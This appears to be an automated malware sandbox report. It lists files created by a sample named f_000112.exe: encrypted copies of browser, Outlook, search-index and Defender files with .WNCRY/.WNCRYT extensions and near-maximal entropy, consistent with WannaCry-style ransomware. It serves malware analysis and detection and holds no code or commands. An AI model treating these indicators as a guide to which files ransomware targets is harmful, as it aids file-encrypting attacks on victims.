          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT entropy: 7.99621143518Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT entropy: 7.99373344313Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT entropy: 7.99970509506Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT entropy: 7.99237029198Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT entropy: 7.99189745831Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT entropy: 7.99285905753Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRYT entropy: 7.99880559128Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRYT entropy: 7.99833583443Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRYT entropy: 7.99827150982Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.WNCRYT entropy: 7.99743820869Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT entropy: 7.99980597239Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687199480522568.txt.WNCRYT entropy: 7.99835380864Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT entropy: 7.99994121492Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687199780329628.txt.WNCRYT entropy: 7.99810350811Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT entropy: 7.99992629Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRYT entropy: 7.99987813748Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT entropy: 7.99991331686Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRYT entropy: 7.99948552777Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT entropy: 7.996236762Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRYT entropy: 7.99924029745Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT entropy: 7.99981883797Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRYT entropy: 7.99613953662Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT entropy: 7.99977748076Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99460204066Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT entropy: 7.99983931092Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4b6fb67e-d996-419d-8681-98d6e0bd0771}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99599013012Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT entropy: 7.99980742155Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qoVhSFA2[1].js.WNCRYT entropy: 7.99552800442Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cf92e777-46b8-4fc9-af99-a04f95a19936}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99479625809Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT entropy: 7.99995438005Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRYT entropy: 7.99963556132Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Desktop\s.wnry entropy: 7.998263053Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Desktop\t.wnry entropy: 7.99727613788Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT entropy: 7.9968302518Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRYT entropy: 7.99815123661Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT entropy: 7.99984167465Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99919373518Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.WNCRYT entropy: 7.99185750145Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99922045547Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRYT entropy: 7.99460896225Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRYT entropy: 7.99989120973Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRYT entropy: 7.99982974607Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRYT entropy: 7.99996574621Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRYT entropy: 7.99946752358Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRYT entropy: 7.99991360734Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRYT entropy: 7.99025328079Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRYT entropy: 7.99983485019Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRYT entropy: 7.99980482801Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRYT entropy: 7.99982187432Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRYT entropy: 7.99934806001Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst entropy: 7.99929825008Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRY (copy) entropy: 7.99934806001Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy) entropy: 7.99964810598Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\acrobat_sbx\acroNGLLog.txt.WNCRY (copy) entropy: 7.99238251738Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRY (copy) entropy: 7.99774622888Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy) entropy: 7.99970509506Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy) entropy: 7.99880559128Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRY (copy) entropy: 7.99833583443Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRY (copy) entropy: 7.99827150982Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687199480522568.txt.WNCRY (copy) entropy: 7.99835380864Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687199780329628.txt.WNCRY (copy) entropy: 7.99810350811Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRY (copy) entropy: 7.99987813748Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRY (copy) entropy: 7.99948552777Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRY (copy) entropy: 7.99924029745Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRY (copy) entropy: 7.99613953662Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99460204066Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4b6fb67e-d996-419d-8681-98d6e0bd0771}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99599013012Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cf92e777-46b8-4fc9-af99-a04f95a19936}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99479625809Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRY (copy) entropy: 7.99963556132Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRY (copy) entropy: 7.99815123661Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99919373518Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99922045547Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687200080523294.txt.WNCRY (copy) entropy: 7.99850933981Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{f7654fd4-7ecd-4743-acf3-b2a165fc8601}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99513083513Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Temp\61.WNCRYT (copy) entropy: 7.99929825008Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687200380752461.txt.WNCRY (copy) entropy: 7.99858613173Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\EventStore.db.WNCRY (copy) entropy: 7.99815323882Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\guest.bmp.WNCRY (copy) entropy: 7.99968825896Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user.bmp.WNCRY (copy) entropy: 7.99967597937Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRY (copy) entropy: 7.99967895258Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRY (copy) entropy: 7.9940438706Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRY (copy) entropy: 7.99297205569Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRY (copy) entropy: 7.99891561265Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRY (copy) entropy: 7.99998890747Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRY (copy) entropy: 7.99906229113Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRY (copy) entropy: 7.99801036984Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRY (copy) entropy: 7.99620901969Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRY (copy) entropy: 7.99452910142Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRY (copy) entropy: 7.99998354956Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRY (copy) entropy: 7.99849814956Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRY (copy) entropy: 7.99625965637Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRY (copy) entropy: 7.99867980243Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRY (copy) entropy: 7.99382288564Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRY (copy) entropy: 7.9993660955Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db.WNCRY (copy) entropy: 7.99930389397Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRY (copy) entropy: 7.99936877069Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRY (copy) entropy: 7.99969733901Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\mpcache-0488A702D8A6400042FFB1D7ADF4EEF36AD772FD.bin.DB.WNCRY (copy) entropy: 7.99988449679Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRY (copy) entropy: 7.9996111697Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRY (copy) entropy: 7.99987887068Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\user.bmp.WNCRY (copy) entropy: 7.99971817107Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\jones.bmp.WNCRY (copy) entropy: 7.99968992864Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\excel.exe.db.WNCRY (copy) entropy: 7.99137432533Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRY (copy) entropy: 7.99983638734Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\first_party_sets.db.WNCRY (copy) entropy: 7.99621143518Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\databases\Databases.db.WNCRY (copy) entropy: 7.99373344313Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRY (copy) entropy: 7.99237029198Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRY (copy) entropy: 7.99189745831Jump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officesetup.exe.db.WNCRY (copy) entropy: 7.99285905753Jump to dropped file
